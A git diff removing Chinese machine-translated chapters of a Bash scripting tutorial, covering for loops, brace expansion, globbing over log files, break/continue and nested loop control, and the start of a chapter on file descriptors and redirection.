-Hello! This is loop number 5. -Hello! This is loop number 6. -Hello! This is loop number 7. -Hello! This is loop number 8. -Hello! This is loop number 9. -Hello! This is loop number 10. -All done, thanks for tuning in! -``` - -同样,由于逐个错误的性质,我们不得不使用稍微不同的数字。由于计数器在循环结束时增加*,我们需要从 1 开始而不是从 0 开始(或者我们可以在 while 循环中做同样的事情)。在 C 风格语法中, **< =** 表示*小于或等于*,而++表示*增加 1* 。所以,我们有一个计数器,从 1 开始,一直持续到 10,每次循环都递增 1。我们发现这个`for`循环比等价的 while 循环更可取;它需要更少的代码,在其他脚本/编程语言中更常见。* - - *更好的是,有一种方法可以迭代一个数字范围(就像我们之前对 1–10 所做的那样),也可以使用 for 循环 Bash 语法。因为一个数字范围只不过是一个数字的*列表*,我们可以使用与第一个例子中几乎相同的语法,在第一个例子中,我们迭代了一个单词的*列表*。看看下面的代码: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-number-list.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-number-list.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Example of a for loop with a number range. -# Usage: ./for-number-list.sh -##################################### - -# This loop runs 10 times. -for counter in {1..10}; do - echo "Hello! This is loop number ${counter}." - sleep 1 -done - -# After the for-loop finishes, print a goodbye message. -echo "All done, thanks for tuning in!" - -reader@ubuntu:~/scripts/chapter_11$ bash for-number-list.sh -Hello! This is loop number 1. -Hello! This is loop number 2. -Hello! This is loop number 3. -Hello! This is loop number 4. -Hello! This is loop number 5. -Hello! This is loop number 6. -Hello! This is loop number 7. -Hello! This is loop number 8. -Hello! This is loop number 9. -Hello! This is loop number 10. -All done, thanks for tuning in! -``` - -因此,``中``的语法适用于一系列`{1..10}`。这被称为**支撑扩展**,是在 Bash 版本 4 中添加的。大括号扩展的语法非常简单: - -```sh -{..} -``` - -大括号扩展有多种用途,但最广为人知的是打印数字或字符列表: - -```sh -reader@ubuntu:~/scripts/chapter_11$ echo {1..5} -1 2 3 4 5 -reader@ubuntu:~/scripts/chapter_11$ echo {a..f} -a b c d e f -``` - -大括号扩展`{1..5}`返回字符串`1 2 3 4 5`,这是一个由空格分隔的值列表,因此可以在 Bash 风格的`for`循环中使用!或者,`{a..f}`打印字符串`a b c d e f`。范围实际上是由 ASCII 十六进制代码决定的;这也允许我们执行以下操作: - -```sh -reader@ubuntu:~/scripts/chapter_11$ echo {A..z} -A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z -``` - -你可能会看到一些特殊的字符印在中间,这看起来很奇怪,但这些字符介于大写和小写拉丁字母字符之间。请注意,该语法非常类似于用`${variable}`获取变量的值(但是,这是参数展开,而不是括号展开)。 - -支撑扩展还有一个有趣的功能:它允许我们定义增量!简而言之,这允许我们告诉 Bash 每次增量时要跳过多少步。其语法如下: - -```sh -{....} -``` - -默认情况下,增量值为 1。如果这是期望的功能,我们可以省略增量值,就像我们之前看到的那样。但是,如果我们真的设置了它,我们会看到如下内容: - -```sh -reader@ubuntu:~/scripts/chapter_11$ echo {1..100..10} -1 11 21 31 41 51 61 71 81 91 -reader@ubuntu:~/scripts/chapter_11$ echo {0..100..10} -0 10 20 30 40 50 60 70 80 90 100 -``` - -现在,增量以 10 为单位。如前例所示,``被认为是*包含*。这意味着低于或等于*的值将被打印,但其他值不会被打印。上例中第一个大括号扩展的下一个值。`{1..100..10}`,早就 101 了;因为该值不小于或等于 100,所以不打印该值,并且扩展终止。* - -最后,因为我们承诺我们可以用`while`做的任何事情我们也可以用`for`做,我们想通过向你展示如何用`for`创建一个无限循环来结束这一章的这一部分。这是选择`while`而不是`for`最常见的原因,因为`for`的语法有点怪异: - -```sh -eader@ubuntu:~/scripts/chapter_11$ vim for-infinite.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-infinite.sh -#!/bin/bash -``` - -```sh - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Example of an infinite for loop. -# Usage: ./for-infinite.sh -##################################### - -# Infinite for loop. -for ((;;)); do - echo "Hello!" - sleep 1 # Wait for 1 second. -done - -reader@ubuntu:~/scripts/chapter_11$ bash for-infinite.sh -Hello! -Hello! -Hello! -^C -``` - -我们使用 C 风格的语法,但是省略了计数器的初始化、比较和递增。因此,其内容如下: - -for ((;;)); do - -这最终会成为`((;;));`,这只有在你把它放在正常语法的上下文中才有意义,就像我们在前面的例子中所做的那样。我们也可以省略增量或对相同效果的比较,但是这将对更多的代码做同样的事情。通常,越短越好,因为越清晰。 - -Try to replicate the infinite `for` loop, but only by omitting a single value from the `for` clause. If you get that working, you'll be a step closer to understanding why you have now made it unending. If you need a little nudge, perhaps you'd want to echo the value of `counter` in the loop so that you can see what is happening. Or you could always run it with `bash -x`, of course! - -# 球形化和 for 循环 - -现在,让我们看几个更实际的例子。你在 Linux 上做的大多数事情都会处理文件(还记得为什么吗?).假设服务器上有一堆日志文件,您想要对它们执行一些操作。如果它只是一个带有单个命令的单个动作,您很可能可以使用带有该命令的 globbing 模式(例如`grep -i 'error' *.log`)。但是,想象一下这样一种情况,您想要收集包含特定短语的日志文件,或者可能只收集这些文件中的行。在这种情况下,使用 globbing 模式结合`for`循环将允许我们对许多文件执行许多命令,我们可以动态地找到这些命令!让我们试一试。因为这个脚本将结合我们到目前为止所学的许多课程,所以我们将从简单开始,逐步扩展它: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-globbing.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-globbing.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-27 -# Description: Combining globbing patterns in a for loop. -# Usage: ./for-globbing.sh -##################################### - -# Create a list of log files. -for file in $(ls /var/log/*.log); do - echo ${file} -done - -reader@ubuntu:~/scripts/chapter_11$ bash for-globbing.sh -/var/log/alternatives.log -/var/log/auth.log -/var/log/bootstrap.log -/var/log/cloud-init.log -/var/log/cloud-init-output.log -/var/log/dpkg.log -/var/log/kern.log -``` - -通过使用`$(ls /var/log/*.log)`构造,我们可以创建一个在`/var/log/`目录中找到的以`.log`结尾的所有文件的列表。如果您手动运行`ls /var/log/*.log`命令,您会注意到该格式与我们在 Bash 风格语法中看到的其他格式相同:单个单词,空格分隔。正因为如此,我们现在可以按顺序操作我们找到的所有文件了!让我们看看如果我们尝试在这些文件中进行 grep 会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_11$ cat for-globbing.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-10-27 -# Description: Combining globbing patterns in a for loop. -# Usage: ./for-globbing.sh -##################################### - -# Create a list of log files. -for file in $(ls /var/log/*.log); do - echo "File: ${file}" - grep -i 'error' ${file} -done -``` - -自从我们改变了剧本的内容,我们把版本从`v1.0.0`提升到了`v1.1.0`。如果您现在运行此脚本,您将看到一些文件在 grep 上返回正匹配,而其他文件则没有: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash for-globbing.sh -File: /var/log/alternatives.log -File: /var/log/auth.log -File: /var/log/bootstrap.log -Selecting previously unselected package libgpg-error0:amd64. -Preparing to unpack .../libgpg-error0_1.27-6_amd64.deb ... -Unpacking libgpg-error0:amd64 (1.27-6) ... -Setting up libgpg-error0:amd64 (1.27-6) ... -File: /var/log/cloud-init.log -File: /var/log/cloud-init-output.log -File: /var/log/dpkg.log -2018-04-26 19:07:33 install libgpg-error0:amd64 1.27-6 -2018-04-26 19:07:33 status half-installed libgpg-error0:amd64 1.27-6 -2018-04-26 19:07:33 status unpacked libgpg-error0:amd64 1.27-6 - -File: /var/log/kern.log -Jun 30 18:20:32 ubuntu kernel: [ 0.652108] RAS: Correctable Errors collector initialized. -Jul 1 09:31:07 ubuntu kernel: [ 0.656995] RAS: Correctable Errors collector initialized. -Jul 1 09:42:00 ubuntu kernel: [ 0.680300] RAS: Correctable Errors collector initialized. -``` - -太好了,现在我们已经用一个复杂的 for 循环完成了同样的事情,我们也可以直接用`grep`完成!现在,在我们确定文件包含单词`error`后,让我们让我们的钱物有所值,并对文件做些事情: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-globbing.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-globbing.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -# Date: 2018-10-27 -# Description: Combining globbing patterns in a for loop. -# Usage: ./for-globbing.sh -##################################### - -# Create a directory to store log files with errors. -ERROR_DIRECTORY='/tmp/error_logfiles/' -mkdir -p ${ERROR_DIRECTORY} - -# Create a list of log files. -for file in $(ls /var/log/*.log); do - grep --quiet -i 'error' ${file} - - # Check the return code for grep; if it is 0, file contains errors. - if [[ $? -eq 0 ]]; then - echo "${file} contains error(s), copying it to archive." - cp ${file} ${ERROR_DIRECTORY} # Archive the file to another directory. - fi - -done - -reader@ubuntu:~/scripts/chapter_11$ bash for-globbing.sh -/var/log/bootstrap.log contains error(s), copying it to archive. -/var/log/dpkg.log contains error(s), copying it to archive. -/var/log/kern.log contains error(s), copying it to archive. -``` - -下一个版本`v1.2.0`做了一个安静的`grep`(没有输出,因为我们只是想在发现什么的时候退出状态为 0)。紧接在`grep`之后,我们使用嵌套的`if-then`将文件复制到我们在脚本开头定义的归档目录中。当我们现在运行该脚本时,我们可以看到在该脚本的前一版本中生成输出的相同文件,但是现在它复制了整个文件。此时,`for`循环正在证明它的价值:我们现在对使用 globbing 模式找到的单个文件执行多个操作。让我们更进一步,从存档文件中删除所有不包含错误的行: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-globbing.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-globbing.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.3.0 -# Date: 2018-10-27 -# Description: Combining globbing patterns in a for loop. -# Usage: ./for-globbing.sh -##################################### - -# Create a directory to store log files with errors. -ERROR_DIRECTORY='/tmp/error_logfiles/' -mkdir -p ${ERROR_DIRECTORY} - -# Create a list of log files. -for file in $(ls /var/log/*.log); do - grep --quiet -i 'error' ${file} - - # Check the return code for grep; if it is 0, file contains errors. - if [[ $? -eq 0 ]]; then - echo "${file} contains error(s), copying it to archive ${ERROR_DIRECTORY}." - cp ${file} ${ERROR_DIRECTORY} # Archive the file to another directory. - - # Create the new file location variable with the directory and basename of the file. - file_new_location="${ERROR_DIRECTORY}$(basename ${file})" - # In-place edit, only print lines matching 'error' or 'Error'. - sed --quiet --in-place '/[Ee]rror/p' ${file_new_location} - fi - -done -``` - -版本 v1.3.0!为了保持可读性,我们没有包括对`cp`和`mkdir`命令的错误检查。然而,由于这个脚本的性质(在`/tmp/`中创建一个子目录并在那里复制文件),出现问题的可能性非常小。我们添加了两个新的有趣的东西:一个名为`file_new_location`的新变量,带有新位置的文件名和`sed`,这确保了只有错误行保留在归档文件中。 - -首先我们来考虑`file_new_location=${ERROR_DIRECTORY}$(basename ${file})`。我们正在做的是将两个字符串粘贴在一起:首先是归档目录,然后是处理后文件的*基本名称。*`basename`命令剥离文件的全限定路径,只保留路径叶子处的文件名不变。如果我们看一下 Bash 解析这个新变量的步骤,它可能看起来像这样: - -* `file_new_location=${ERROR_DIRECTORY}$(basename ${file})` - `-> resolve ${file}` -* `file_new_location=${ERROR_DIRECTORY}$(basename /var/log/bootstrap.log)` - `-> resolve $(basename /var/log/bootstrap.log)` -* `file_new_location=${ERROR_DIRECTORY}bootstrap.log` - `-> resolve ${ERROR_DIRECTORY}` -* `file_new_location=/tmp/error_logfiles/bootstrap.log` - `-> done, final value of variable!` - -有了这些,我们现在可以在那个新文件上运行`sed`。`sed --quiet --in-place '/[Ee]rror/p' ${file_new_location}`命令只是用符合`[Ee]rror`正则表达式搜索模式的所有行替换文件的内容,这(几乎)是我们最初的 grep。记住,我们需要`--quiet`,因为默认情况下,`sed`打印所有行。如果我们忽略这一点,我们将得到文件中的所有行,但是所有的错误文件将被复制:一次来自`sed`的非安静输出,一次来自搜索模式匹配。但是,当- quiet 处于活动状态时,`sed`仅打印匹配的行并将它们写入文件。让我们在实践中看到这一点,并验证结果: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash for-globbing.sh -/var/log/bootstrap.log contains error(s), copying it to archive /tmp/error_logfiles/. -/var/log/dpkg.log contains error(s), copying it to archive /tmp/error_logfiles/. -/var/log/kern.log contains error(s), copying it to archive /tmp/error_logfiles/. -reader@ubuntu:~/scripts/chapter_11$ ls /tmp/error_logfiles/ -bootstrap.log dpkg.log kern.log -reader@ubuntu:~/scripts/chapter_11$ head -3 /tmp/error_logfiles/* -==> /tmp/error_logfiles/bootstrap.log <== -Selecting previously unselected package libgpg-error0:amd64. -Preparing to unpack .../libgpg-error0_1.27-6_amd64.deb ... -Unpacking libgpg-error0:amd64 (1.27-6) ... - -==> /tmp/error_logfiles/dpkg.log <== -2018-04-26 19:07:33 install libgpg-error0:amd64 1.27-6 -2018-04-26 19:07:33 status half-installed libgpg-error0:amd64 1.27-6 -2018-04-26 19:07:33 status unpacked libgpg-error0:amd64 1.27-6 - -==> /tmp/error_logfiles/kern.log <== -Jun 30 18:20:32 ubuntu kernel: [ 0.652108] RAS: Correctable Errors collector initialized. -Jul 1 09:31:07 ubuntu kernel: [ 0.656995] RAS: Correctable Errors collector initialized. -Jul 1 09:42:00 ubuntu kernel: [ 0.680300] RAS: Correctable Errors collector initialized. -``` - -可以看到,每个文件顶部的三行都包含`error`或`Error`字符串。实际上,所有这些文件中的所有行都包含这些字符串中的任何一个;请务必在您自己的系统上验证这一点,因为内容无疑会有所不同。 - -既然我们已经完成了这个例子,我们有一些挑战给读者,您是否愿意接受它们: - -* 让这个脚本接受输入。这可能是归档目录、路径 glob、搜索模式,甚至三者都有! -* 通过给*可能会*失败的命令添加异常处理,使这个脚本更加健壮。 -* 通过使用`sed '/xxx/d'`语法来反转这个脚本的功能(提示:您可能需要为此进行重定向)。 - -While this example should illustrate a lot of things, we realize that just searching on the word `error` does not actually only return errors. Actually, most of what we saw being returned was related to an installed package, `liberror`! In practice, you might be working with log files that have a predefined structure when it comes to errors. In this case, it is much easier to determine a search pattern that only logs real errors. - -# 循环控制 - -此时,您应该对使用`while`和`for`循环感到舒适。关于回路,还有一个相当重要的话题需要讨论:**回路控制**。循环控制是一个通用术语,指的是你对循环所做的任何事情!然而,如果我们想释放循环的全部力量,我们需要两个*关键词*:`break`和`continue`。我们从`break`开始。 - -# 打破循环 - -对于一些脚本逻辑来说,打破循环将被证明是必要的。你可能会想象,在你的一个脚本中,你正在等待一些事情完成。一旦发生这种情况,你就想*做点什么*。在`while true`循环中等待和定期检查可能是一种选择,但是如果你回想一下`while-interactive.sh`脚本,我们在成功回答这个谜语后退出。在出口处,我们不能运行任何超出`while`循环的命令!这就是`break`发挥作用的地方。它允许我们退出*循环*,但继续*脚本*。首先,让我们更新`while-interactive.sh`来利用这个循环控制关键字: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim while-interactive.sh -reader@ubuntu:~/scripts/chapter_11$ cat while-interactive.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-10-28 -# Description: A simple riddle in a while loop. -# Usage: ./while-interactive.sh -##################################### - -# Infinite loop, only exits on correct answer. -while true; do - read -p "I have keys but no locks. I have a space but no room. You can enter, but can’t go outside. What am I? " answer - if [[ ${answer} =~ [Kk]eyboard ]]; then # Use regular expression so 'a keyboard' or 'Keyboard' is also a valid answer. - echo "Correct, congratulations!" - break # Exit the while loop. - else - # Print an error message and go back into the loop. - echo "Incorrect, please try again." - fi -done - -# This will run after the break in the while loop. -echo "Now we can continue after the while loop is done, awesome!" -``` - -我们做了三个改变: - -* 采用了更高的版本号 -* 将`exit 0`替换为`break` -* while 循环后增加了一个简单的`echo` - -当我们还有`exit 0`的时候,最后的`echo`绝对不会跑(但是不要相信我们,一定要自己验证这一点!).现在,用`break`运行它并观察: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash while-interactive.sh -I have keys but no locks. I have a space but no room. You can enter, but can’t go outside. What am I? keyboard -Correct, congratulations! -Now we can continue after the while loop is done, awesome! -``` - -又来了,一个中断的`while`循环后的代码执行。通常,在无限循环之后,肯定还有其他代码需要执行,这就是执行的方式。 - -我们不仅可以在`while`循环中使用`break`,而且最确定的是在`for`循环中。以下示例显示了我们如何在`for`循环中使用`break`: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-loop-control.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-loop-control.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-28 -# Description: Loop control in a for loop. -# Usage: ./for-loop-control.sh -##################################### - -# Generate a random number from 1-10. -random_number=$(( ( RANDOM % 10 ) + 1 )) - -# Iterate over all possible random numbers. -for number in {1..10}; do - - if [[ ${number} -eq ${random_number} ]]; then - echo "Random number found: ${number}." - break # As soon as we have found the number, stop. - fi - - # If we get here the number did not match. - echo "Number does not match: ${number}." -done -echo "Number has been found, all done." -``` - -在这个脚本功能的顶部,确定了一个 1 到 10 之间的随机数(不要担心语法)。接下来,我们迭代数字 1 到 10,对于每个数字,我们将检查它是否等于随机生成的数字。如果是,我们打印成功信息*并打破循环*。否则,我们将超出`if-then`块并打印失败消息。如果不包含 break 语句,输出将如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash for-loop-control.sh -Number does not match: 1. -Number does not match: 2. -Number does not match: 3. -Random number found: 4. -Number does not match: 4. -Number does not match: 5. -Number does not match: 6. -Number does not match: 7. -Number does not match: 8. -Number does not match: 9. -Number does not match: 10. -Number has been found, all done. -``` - -我们不仅看到打印的数字既匹配又不匹配(当然,这是一个逻辑错误),而且当我们确定这些数字不匹配时,脚本还会继续检查所有其他数字。现在,如果我们使用 exit 而不是 break,将永远不会打印最终声明: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash for-loop-control.sh -Number does not match: 1. -Number does not match: 2. -Number does not match: 3. -Number does not match: 4. -Number does not match: 5. -Number does not match: 6. -Random number found: 7. -``` - -只有通过使用`break`我们才能准确地得到我们需要的产出量;不多也不少。你可能已经看到,我们也可以在`Number does not match:`信息中使用`else`子句。尽管如此,没有什么能阻止这个项目。因此,即使第一次尝试就找到了随机数(最终会发生),它仍然会比较列表中的所有值,直到到达该列表的末尾。 - -这不仅浪费时间和资源,而且想象一下,如果随机数在 1 到 1,000,000 之间,输出会是什么样子!只要记住:如果你完成了循环,**打破它。** - -# continue 关键字 - -和 Bash(和人生)中的大多数事情一样,阴中有阳,那就是`break`:`continue`这个关键词。如果使用继续,则告诉循环停止当前循环,但*继续下一次运行*。因此,您将停止当前迭代,而不是停止整个循环。让我们看看另一个例子是否能说明这一点: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim for-continue.sh -reader@ubuntu:~/scripts/chapter_11$ cat for-continue.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-28 -# Description: For syntax with a continue. -# Usage: ./for-continue.sh -##################################### - -# Look at numbers 1-20, in steps of 2. -for number in {1..20..2}; do - if [[ $((${number}%5)) -eq 0 ]]; then - continue # Unlucky number, skip this! - fi - - # Show the user which number we've processed. - echo "Looking at number: ${number}." - -done -``` - -在这个例子中,所有能被 5 整除的数字都被认为是不吉利的,不应该被处理。这是通过`[[ $((${number}%5)) -eq 0 ]]`条件实现的: - -* **[[**$($ { number } % 5))**-eq 0]]**->测试语法 -* [[**$((**$ { number } % 5**))**-eq 0]]->算术语法 -* [[$((**$ { number } % 5**))-eq 0]]->变量的模 5**数** - -如果这个数通过了这个测试(因此可以被 5 整除,比如 5、10、15、20 等等),就执行`continue`。当这种情况发生时,循环的下一次迭代运行(并且`echo`是**而不是**被执行!),运行此脚本时可以看到: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash for-continue.sh -Looking at number: 1. -Looking at number: 3. -Looking at number: 7. -Looking at number: 9. -Looking at number: 11. -Looking at number: 13. -Looking at number: 17. -Looking at number: 19. -``` - -正如列表所暗示的,数字`5`、`10`和`15`被处理,但是我们在`echo`中看不到它们。我们也可以看到之后的一切,这在`break`身上是不会发生的。用`bash -x`验证这是否真的发生(警告:输出负载!)并检查如果用`break`甚至`exit`替换`continue`会发生什么。 - -# 循环控制和嵌套 - -在本章的最后部分,我们将向您展示如何通过循环控制来影响`nested`循环。break 和 continue 都需要一个额外的参数:一个指定要中断哪个循环的数字。默认情况下,如果省略此参数,则假定为`1`。所以,`break`命令等于`break 1`,`continue 1`和`continue`一样。如前所述,理论上我们可以随心所欲地嵌套循环;你很可能比现代系统的技术能力问题更早地触及逻辑问题!我们将看一个简单的例子,向我们展示如何使用`break 2`不仅脱离`for`循环,还脱离外部`while`循环: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim break-x.sh -reader@ubuntu:~/scripts/chapter_11$ cat break-x.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-28 -# Description: Breaking out of nested loops. -# Usage: ./break-x.sh -##################################### - -while true; do - echo "This is the outer loop." - sleep 1 - - for iteration in {1..3}; do - echo "This is inner loop ${iteration}." - sleep 1 - done -done -echo "This is the end of the script, thanks for playing!" -``` - -这个第一版脚本不包含`break`。当我们运行这个程序时,我们永远看不到最终的信息,我们会得到一个无穷无尽的重复模式: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash break-x.sh -This is the outer loop. -This is inner loop 1. -This is inner loop 2. -This is inner loop 3. -This is the outer loop. -This is inner loop 1. -^C -``` - -现在,让我们在迭代到达`2`时打破内部循环: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim break-x.sh -reader@ubuntu:~/scripts/chapter_11$ cat break-x.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-10-28 -# Description: Breaking out of nested loops. -# Usage: ./break-x.sh -##################################### - - for iteration in {1..3}; do - echo "This is inner loop ${iteration}." - if [[ ${iteration} -eq 2 ]]; then - break 1 - fi - sleep 1 - done - -``` - -当我们现在运行脚本时,我们仍然会得到无限个循环,但是在两次迭代而不是三次迭代后,我们会缩短内部 for 循环: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash break-x.sh -This is the outer loop. -This is inner loop 1. -This is inner loop 2. -This is the outer loop. -This is inner loop 1. -^C -``` - -现在,让我们使用`break 2`命令指示内环脱离外环: - -```sh -reader@ubuntu:~/scripts/chapter_11$ vim break-x.sh -reader@ubuntu:~/scripts/chapter_11$ cat break-x.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -# Date: 2018-10-28 -# Description: Breaking out of nested loops. -# Usage: ./break-x.sh -##################################### - - if [[ ${iteration} -eq 2 ]]; then - break 2 # Break out of the outer while-true loop. - fi - -``` - -看,一个内环成功地打破了一个外环: - -```sh -reader@ubuntu:~/scripts/chapter_11$ bash break-x.sh -This is the outer loop. -This is inner loop 1. -This is inner loop 2. -This is the end of the script, thanks for playing! -``` - -我们开始了,完全控制我们的循环,即使当我们根据脚本需要嵌套很多循环时。同样的理论也适用于`continue`。如果,在这个例子中,我们用`continue 2`代替`break 2`,我们仍然会得到一个无限循环(因为虽然真永远不会结束)。然而,如果你的另一个循环也是一个`for`或非无限的`while`循环(在我们的经验中,这是更常见的,但不是一个很好的简单的例子),`continue 2`可以让你精确地执行情况所需的逻辑。 - -# 摘要 - -本章专门介绍条件测试和脚本循环。因为我们已经讨论了`if-then-else`语句,所以在继续展示条件测试工具包的更高级的用途之前,我们概括了这些信息。这些高级信息包括在条件测试场景中使用正则表达式,这是我们在上一章中了解到的,以便进行更灵活的测试。我们还向您展示了如何使用`elif`(T2 的缩写)顺序测试多个条件。我们解释了如何嵌套多个`if-then-else`语句来创建高级逻辑。 - -在本章的第二部分,我们介绍了`while`循环。我们向您展示了如何使用它来创建一个无限期运行的脚本,或者如何在满足某个条件时使用条件来停止循环。我们给出了`until`关键字,它具有与`while`相同的功能,但是允许对`while`进行否定检查而不是肯定检查。我们在`while`上结束了解释,向您展示了如何在无休止的`while`循环中创建交互式脚本(使用我们的老朋友`read`)。 - -`while`之后,我们引入了更强大的`for`循环。这个循环可以做`while`可以做的同样的事情,但是通常更短的语法允许我们写更少的代码(和更可读的代码,这仍然是脚本中非常重要的一个方面!).我们向您展示了`for`如何遍历列表,以及如何使用*括号扩展*创建数字列表。我们结束了对`for`循环的讨论,给出了一个将`for`与文件全局模式相结合的实际例子,允许我们动态地查找、抓取和处理文件。 - -本章最后我们解释了循环控制,这是在 Bash 中用`break`和`continue`关键字实现的。这些关键词允许我们*打破*出一个循环(甚至从嵌套循环,尽可能远地回到我们需要的外部),也允许我们停止循环的当前迭代,*继续*到下一个迭代。 - -本章介绍了以下命令/关键词:`elif`、`help`、`while`、`sleep`、`for`、`basename`、`break`和`continue`。 - -# 问题 - -1. 一个`if-then` ( `-else`)语句是怎么结束的? -2. 如何在条件求值中使用正则表达式搜索模式? -3. 为什么我们需要`elif`这个关键词? -4. 什么是*嵌套*? -5. 我们如何获得关于如何使用 shell 内置函数和关键字的信息? -6. `while`的反义词是什么? -7. 为什么我们会选择 for 循环而不是`while`循环? -8. 什么是大括号扩展,我们可以在哪些字符上使用它? -9. 哪两个关键词可以让我们对循环进行更精细的控制? -10. 如果我们是嵌套循环,我们如何利用循环控制从内部循环影响外部循环? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **案情** **陈述**:[http://tldp . org/LDP/Bash-初学者-指南/html/section _ 07 _ 03 . html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_07_03.html) - -* **拉条扩张**:[http://wiki.bash-hackers.org/syntax/expansion/brace](http://wiki.bash-hackers.org/syntax/expansion/brace) -* **关于循环的 Linux 文档项目**:[http://www.tldp.org/LDP/abs/html/loops1.html](http://www.tldp.org/LDP/abs/html/loops1.html)** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/12.md b/docs/learn-linux-shell-script/12.md deleted file mode 100644 index a603d2c6..00000000 --- a/docs/learn-linux-shell-script/12.md +++ /dev/null @@ -1,1203 +0,0 @@ -# 十二、在脚本中使用管道和重定向 - -在本章中,我们将解释 Bash 的一个非常重要的方面:*重定向*。我们将首先描述不同类型的输入和输出重定向,以及它们与 Linux 文件描述符的关系。在介绍了重定向的基础知识之后,我们将继续一些高级用法。 - -接下来是*管道*,这是一个在 shell 脚本中大量使用的概念。我们举几个管道的实际例子。最后,我们展示一下*在这里是如何记录*的,它也有一些很好的用途。 - -本章将介绍以下命令:`diff`、`gcc`、`fallocate`、`tr`、`chpasswd`、`tee`和`bc`。 - -本章将涵盖以下主题: - -* 输入/输出重定向 -* 管道 -* 这里有文件 - -# 技术要求 - -本章的所有脚本都可以在 GitHub 上找到,链接如下:[https://GitHub . com/tam mert/learn-Linux-shell-scripting/tree/master/chapter _ 12](https://github.com/tammert/learn-linux-shell-scripting/tree/master/chapter_12)。对于所有其他练习,你的 Ubuntu 18.04 虚拟机仍然是你最好的朋友。 - -# 输入/输出重定向 - -在本章中,我们将详细讨论 Linux 中的重定向。 - -简而言之,重定向就像这个词暗示的那样:将*某样东西*重定向到*某样东西*。例如,我们已经看到,我们可以使用管道将一个命令的输出用作下一个命令的输入。管道在 Linux 中使用`|`符号实现。 - -然而,这可能会提出一个问题:Linux 首先是如何处理输入和输出的?我们将从**文件描述符**的一些理论开始我们的重定向之旅,这些理论使所有的重定向成为可能! - -# 文件描述符 - -你可能听腻了,但它仍然是正确的:在 Linux 中,一切都是文件。我们已经看到,文件是文件,目录是文件,甚至硬盘也是文件;但是现在,我们将更进一步:您用于*输入*的键盘也是一个文件! - -作为补充,你的终端,命令用作*输出*,是,猜猜是什么:一个文件。 - -您可以在 Linux 文件系统树中找到这些文件,就像大多数特殊文件一样。让我们检查一下我们的虚拟机: - -```sh -reader@ubuntu:~$ cd /dev/fd/ -reader@ubuntu:/dev/fd$ ls -l -total 0 -lrwx------ 1 reader reader 64 Nov 5 18:54 0 -> /dev/pts/0 -lrwx------ 1 reader reader 64 Nov 5 18:54 1 -> /dev/pts/0 -lrwx------ 1 reader reader 64 Nov 5 18:54 2 -> /dev/pts/0 -lrwx------ 1 reader reader 64 Nov 5 18:54 255 -> /dev/pts/0 -``` - -在我们找到的四个文件中,有三个很重要:`/dev/fd/0`、`/dev/fd/1`和`/dev/fd/2`。 - -从本文的标题可以看出, **fd** 代表 **f** 文件 **d** 脚本。这些文件描述符在内部用于将用户的输入和输出绑定到终端。你实际上可以看到这是如何用文件描述符完成的:它们象征性地链接到`/dev/pts/0`。 - -在这种情况下, **pts** 代表**伪终端从机**,这是 SSH 连接的定义。看看当我们从三个不同的位置观察`/dev/fd`时会发生什么: - -```sh -# SSH connection 1 -reader@ubuntu:~/scripts/chapter_12$ ls -l /dev/fd/ -total 0 -lrwx------ 1 reader reader 64 Nov 5 19:06 0 -> /dev/pts/0 -lrwx------ 1 reader reader 64 Nov 5 19:06 1 -> /dev/pts/0 -lrwx------ 1 reader reader 64 Nov 5 19:06 2 -> /dev/pts/0 - -# SSH connection 2 -reader@ubuntu:/dev/fd$ ls -l -total 0 -lrwx------ 1 reader reader 64 Nov 5 18:54 0 -> /dev/pts/1 -lrwx------ 1 reader reader 64 Nov 5 18:54 1 -> /dev/pts/1 -lrwx------ 1 reader reader 64 Nov 5 18:54 2 -> /dev/pts/1 - -# Virtual machine terminal -reader@ubuntu:/dev/fd$ ls -l -total 0 -lrwx------ 1 reader reader 64 Nov 5 19:08 0 -> /dev/tty/1 